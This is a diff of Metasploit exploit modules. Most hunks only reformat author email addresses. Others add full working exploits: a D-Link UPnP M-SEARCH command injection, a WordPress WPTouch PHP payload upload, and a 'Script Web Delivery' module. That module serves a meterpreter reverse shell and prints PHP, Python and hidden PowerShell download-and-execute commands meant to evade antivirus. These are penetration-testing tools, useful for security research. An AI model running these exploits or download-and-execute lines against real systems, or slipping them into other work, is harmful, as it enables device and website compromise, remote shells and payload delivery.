data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
|
||||
data_cmd << "<NewEnabled>1</NewEnabled>"
|
||||
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
|
||||
data_cmd << "<NewRemoteHost></NewRemoteHost>"
|
||||
data_cmd << "<NewProtocol>TCP</NewProtocol>"
|
||||
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
|
||||
data_cmd << "</m:AddPortMapping>"
|
||||
data_cmd << "</SOAP-ENV:Body>"
|
||||
data_cmd << "</SOAP-ENV:Envelope>"
|
||||
|
||||
|
@ -232,36 +132,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'data' => data_cmd
|
||||
})
|
||||
return res
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Handle incoming requests from the server
|
||||
def on_request_uri(cli, request)
|
||||
#print_status("on_request_uri called: #{request.inspect}")
|
||||
if (not @pl)
|
||||
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
||||
return
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
||||
@elf_sent = true
|
||||
send_response(cli, @pl)
|
||||
end
|
||||
|
||||
# wait for the data to be sent
|
||||
def wait_linux_payload
|
||||
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
|
||||
|
||||
waited = 0
|
||||
while (not @elf_sent)
|
||||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
|
||||
end
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,12 +4,17 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
DEPRECATION_DATE = Date.new(2014, 9, 11)
|
||||
DEPRECATION_REPLACEMENT = 'exploits/linux/http/dlink_upnp_exec_noauth'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -22,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -24,8 +24,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'Fabian Braeunlein <fabian@breaking.systems>', # Metasploit PoC with wget method
|
||||
'Michael Messner <devnull@s3cur1ty.de>' # Metasploit module
|
||||
'Fabian Braeunlein <fabian[at]breaking.systems>', # Metasploit PoC with wget method
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
|
@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'drone', #discovery/poc by @dronesec
|
||||
'Brandon Perry <bperry.volatile@gmail.com>' #Metasploit module
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' #Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This module exploits a format string vulnerability in the Berlios GPSD server.
|
||||
This vulnerability was discovered by Kevin Finisterre.
|
||||
},
|
||||
'Author' => [ 'Yann Senotier <yann.senotier [at] cyber-networks.fr>' ],
|
||||
'Author' => [ 'Yann Senotier <yann.senotier[at]cyber-networks.fr>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Johannes Ullrich', #worm discovery
|
||||
'Rew', # original exploit
|
||||
'infodox', # another exploit
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile@gmail.com>' # discovery and Metasploit module
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
be used to completely compromise a Snort sensor, and would typically gain an attacker
|
||||
full root or administrative privileges.
|
||||
},
|
||||
'Author' => 'KaiJern Lau <xwings [at] mysec.org>',
|
||||
'Author' => 'KaiJern Lau <xwings[at]mysec.org>',
|
||||
'License' => BSD_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -0,0 +1,149 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection',
|
||||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast
|
||||
requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip
|
||||
has initially reported the DIR-815 vulnerable. Probably there are other devices also
|
||||
affected.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Zachary Cutlip', # Vulnerability discovery and initial exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit
|
||||
['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit
|
||||
],
|
||||
'DisclosureDate' => 'Feb 01 2013',
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'MIPS Little Endian',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
[ 'MIPS Big Endian', # unknown if there are big endian devices out there
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(1900)
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
configure_socket
|
||||
|
||||
pkt =
|
||||
"M-SEARCH * HTTP/1.1\r\n" +
|
||||
"Host:239.255.255.250:1900\r\n" +
|
||||
"ST:upnp:rootdevice\r\n" +
|
||||
"Man:\"ssdp:discover\"\r\n" +
|
||||
"MX:2\r\n\r\n"
|
||||
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
|
||||
res = nil
|
||||
1.upto(5) do
|
||||
res,_,_ = udp_sock.recvfrom(65535, 1.0)
|
||||
break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
end
|
||||
|
||||
# UPnP response:
|
||||
# [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
|
||||
# we do not check for the Device ID (DIR-645) and for the firmware version because there are different
|
||||
# dlink devices out there and we do not know all the vulnerable versions
|
||||
|
||||
if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
configure_socket
|
||||
|
||||
pkt =
|
||||
"M-SEARCH * HTTP/1.1\r\n" +
|
||||
"Host:239.255.255.250:1900\r\n" +
|
||||
"ST:uuid:`#{cmd}`\r\n" +
|
||||
"Man:\"ssdp:discover\"\r\n" +
|
||||
"MX:2\r\n\r\n"
|
||||
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the device via UPnP ...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 950
|
||||
)
|
||||
end
|
||||
|
||||
# the packet stuff was taken from the module miniupnpd_soap_bof.rb
|
||||
# We need an unconnected socket because SSDP replies often come
|
||||
# from a different sent port than the one we sent to. This also
|
||||
# breaks the standard UDP mixin.
|
||||
def configure_socket
|
||||
self.udp_sock = Rex::Socket::Udp.create({
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
add_socket(self.udp_sock)
|
||||
end
|
||||
|
||||
# Need to define our own rhost/rport/peer since we aren't
|
||||
# using the normal mixins
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Accessor for our UDP socket
|
||||
attr_accessor :udp_sock
|
||||
|
||||
end
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Because iTunes is multithreaded, only vfork-based payloads should
|
||||
be used.
|
||||
},
|
||||
'Author' => [ 'Will Drewry <redpig [at] dataspill.org>' ],
|
||||
'Author' => [ 'Will Drewry <redpig[at]dataspill.org>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
module is a direct port of Aviv Raff's HTML PoC.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
|
||||
'Author' => ['hdm', 'Aviv Raff <avivra[at]gmail.com>'],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2005-2265'],
|
||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Roberto Suggi', # Discovered the vulnerability
|
||||
'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec
|
||||
'Aviv Raff <avivra[at]gmail.com>', # showed it to be exploitable for code exec
|
||||
'egypt', # msf module
|
||||
],
|
||||
'References' =>
|
||||
|
|
|
@ -34,8 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'hdm', # module development
|
||||
'GML <grandmasterlogic [at] gmail.com>', # module development and debugging
|
||||
'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
|
||||
'GML <grandmasterlogic[at]gmail.com>', # module development and debugging
|
||||
'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Script Web Delivery',
|
||||
'Description' => %q{
|
||||
This module quickly fires up a web server that serves a payload.
|
||||
The provided command will start the specified scripting language interpreter and then download and execute the
|
||||
payload. The main purpose of this module is to quickly establish a session on a target
|
||||
machine when the attacker has to manually type in the command himself, e.g. Command Injection,
|
||||
RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
|
||||
write to disk so it is less likely to trigger AV solutions and will allow privilege
|
||||
escalations supplied by Meterpreter.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
||||
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
|
||||
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
|
||||
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
|
||||
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
|
||||
],
|
||||
'Platform' => %w{python php win},
|
||||
'Targets' =>
|
||||
[
|
||||
['Python', {
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON
|
||||
}],
|
||||
['PHP', {
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP
|
||||
}],
|
||||
['PSH_x86', {
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}],
|
||||
['PSH_x64', {
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64
|
||||
}],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 19 2013'
|
||||
))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Delivering Payload")
|
||||
if (target.name.include? "PSH")
|
||||
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
|
||||
else
|
||||
data = %Q|#{payload.encoded} |
|
||||
end
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
end
|
||||
|
||||
def primer
|
||||
url = get_uri()
|
||||
print_status("Run the following command on the target machine:")
|
||||
case target.name
|
||||
when "PHP"
|
||||
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
|
||||
when "Python"
|
||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||
when "PSH_x86", "PSH_x64"
|
||||
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -20,9 +20,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Nagios3 history.cgi script.
|
||||
},
|
||||
'Author' => [
|
||||
'Unknown <temp66@gmail.com>', # Original finding
|
||||
'blasty <blasty@fail0verflow.com>', # First working exploit
|
||||
'Jose Selvi <jselvi@pentester.es>', # Metasploit module
|
||||
'Unknown <temp66[at]gmail.com>', # Original finding
|
||||
'blasty <blasty[at]fail0verflow.com>', # First working exploit
|
||||
'Jose Selvi <jselvi[at]pentester.es>', # Metasploit module
|
||||
'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
option is enabled (common for hosting providers). All versions of WordPress prior to
|
||||
1.5.1.3 are affected.
|
||||
},
|
||||
'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
|
||||
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -28,8 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Adam Caudill <adam@adamcaudill.com>', # Vulnerability discovery
|
||||
'AverageSecurityGuy <stephen@averagesecurityguy.info>', # Metasploit Module
|
||||
'Adam Caudill <adam[at]adamcaudill.com>', # Vulnerability discovery
|
||||
'AverageSecurityGuy <stephen[at]averagesecurityguy.info>', # Metasploit Module
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
|
|
|
@ -0,0 +1,172 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress WPTouch Authenticated File Upload',
|
||||
'Description' => %q{
|
||||
The Wordpress WPTouch plugin contains an auhtenticated file upload
|
||||
vulnerability. A wp-nonce (CSRF token) is created on the backend index
|
||||
page and the same token is used on handling ajax file uploads through
|
||||
the plugin. By sending the captured nonce with the upload, we can
|
||||
upload arbitrary files to the upload folder. Because the plugin also
|
||||
uses it's own file upload mechanism instead of the wordpress api it's
|
||||
possible to upload any file type.
|
||||
The user provided does not need special rights. Also users with "Contributer"
|
||||
role can be abused.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Marc-Alexandre Montpas', # initial discovery
|
||||
'Christian Mehlmauer' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['wptouch < 3.4.3', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 14 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [true, "A valid username", nil]),
|
||||
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore['USER']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def check
|
||||
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
|
||||
res = send_request_cgi({
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
})
|
||||
# no readme.txt present
|
||||
if res.nil? || res.code != 200
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
if version.nil?
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the plugin")
|
||||
|
||||
if Gem::Version.new(version) < Gem::Version.new('3.4.3')
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def get_nonce(cookie)
|
||||
res = send_request_cgi({
|
||||
'uri' => wordpress_url_backend,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
# forward to profile.php or other page?
|
||||
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
|
||||
location = res.headers['Location']
|
||||
print_status("#{peer} - Following redirect to #{location}")
|
||||
res = send_request_cgi({
|
||||
'uri' => location,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
end
|
||||
|
||||
if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
|
||||
return $1
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def upload_file(cookie, nonce)
|
||||
filename = "#{rand_text_alpha(10)}.php"
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"")
|
||||
data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"')
|
||||
data.add_part('upload_file', nil, nil, 'form-data; name="action"')
|
||||
data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"')
|
||||
data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"')
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body and res.body.length > 0
|
||||
register_files_for_cleanup(filename)
|
||||
return res.body
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to login as #{user}")
|
||||
cookie = wordpress_login(user, password)
|
||||
if cookie.nil?
|
||||
print_error("#{peer} - Unable to login as #{user}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Trying to get nonce")
|
||||
nonce = get_nonce(cookie)
|
||||
if nonce.nil?
|
||||
print_error("#{peer} - Can not get nonce after login")
|
||||
return
|
||||
end
|
||||
print_status("#{peer} - Got nonce #{nonce}")
|
||||
|
||||
print_status("#{peer} - Trying to upload payload")
|
||||
file_path = upload_file(cookie, nonce)
|
||||
if file_path.nil?
|
||||
print_error("#{peer} - Error uploading file")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling uploaded file #{file_path}")
|
||||
res = send_request_cgi({
|
||||
'uri' => file_path,
|
||||
'method' => 'GET'
|
||||
})
|
||||
end
|
||||
end
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
could overflow a buffer and execute arbitrary code on the system.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
|
||||
'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2008-1472' ],
|
||||
|
|
|
@ -25,10 +25,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Faithless <rhyskidd [at] gmail.com>',
|
||||
'Faithless <rhyskidd[at]gmail.com>',
|
||||
'Darkeagle <unl0ck.net>',
|
||||
'hdm',
|
||||
'<justfriends4n0w [at] yahoo.com>',
|
||||
'<justfriends4n0w[at]yahoo.com>',
|
||||
'Unknown',
|
||||
],
|
||||
'References' =>
|
||||
|
|
|
@ -22,17 +22,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'Aviv Raff <avivra [at] gmail.com>',
|
||||
'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
|
||||
'Mr.Niega <Mr.Niega [at] gmail.com>',
|
||||
'M. Shirk <shirkdog_list [at] hotmail.com>'
|
||||
'Aviv Raff <avivra[at]gmail.com>',
|
||||
'Trirat Puttaraksa (Kira) <trir00t[at]gmail.com>',
|
||||
'Mr.Niega <Mr.Niega[at]gmail.com>',
|
||||
'M. Shirk <shirkdog_list[at]hotmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2006-4868' ],
|
||||
['OSVDB', '28946' ],
|
||||
['MSB', 'MS06-055' ],
|
||||
['BID', '20096' ],
|
||||
['CVE', '2006-4868'],
|
||||
['OSVDB', '28946'],
|
||||
['MSB', 'MS06-055'],
|
||||
['BID', '20096'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
|
||||
'Scott Bell <scott.bell[at]security-assessment.com>' # Vulnerability discovery & Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
to execute arbitrary code within the context of the affected application.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'MC', 'dean <dean [at] zerodaysolutions [dot] com>' ],
|
||||
'Author' => [ 'MC', 'dean <dean[at]zerodaysolutions.com>' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2008-5492'],
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
for scripting, so choose your attack vector accordingly.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
|
||||
'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2008-4922' ],
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This control is not marked safe for scripting, please choose your attack vector carefully.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
|
||||
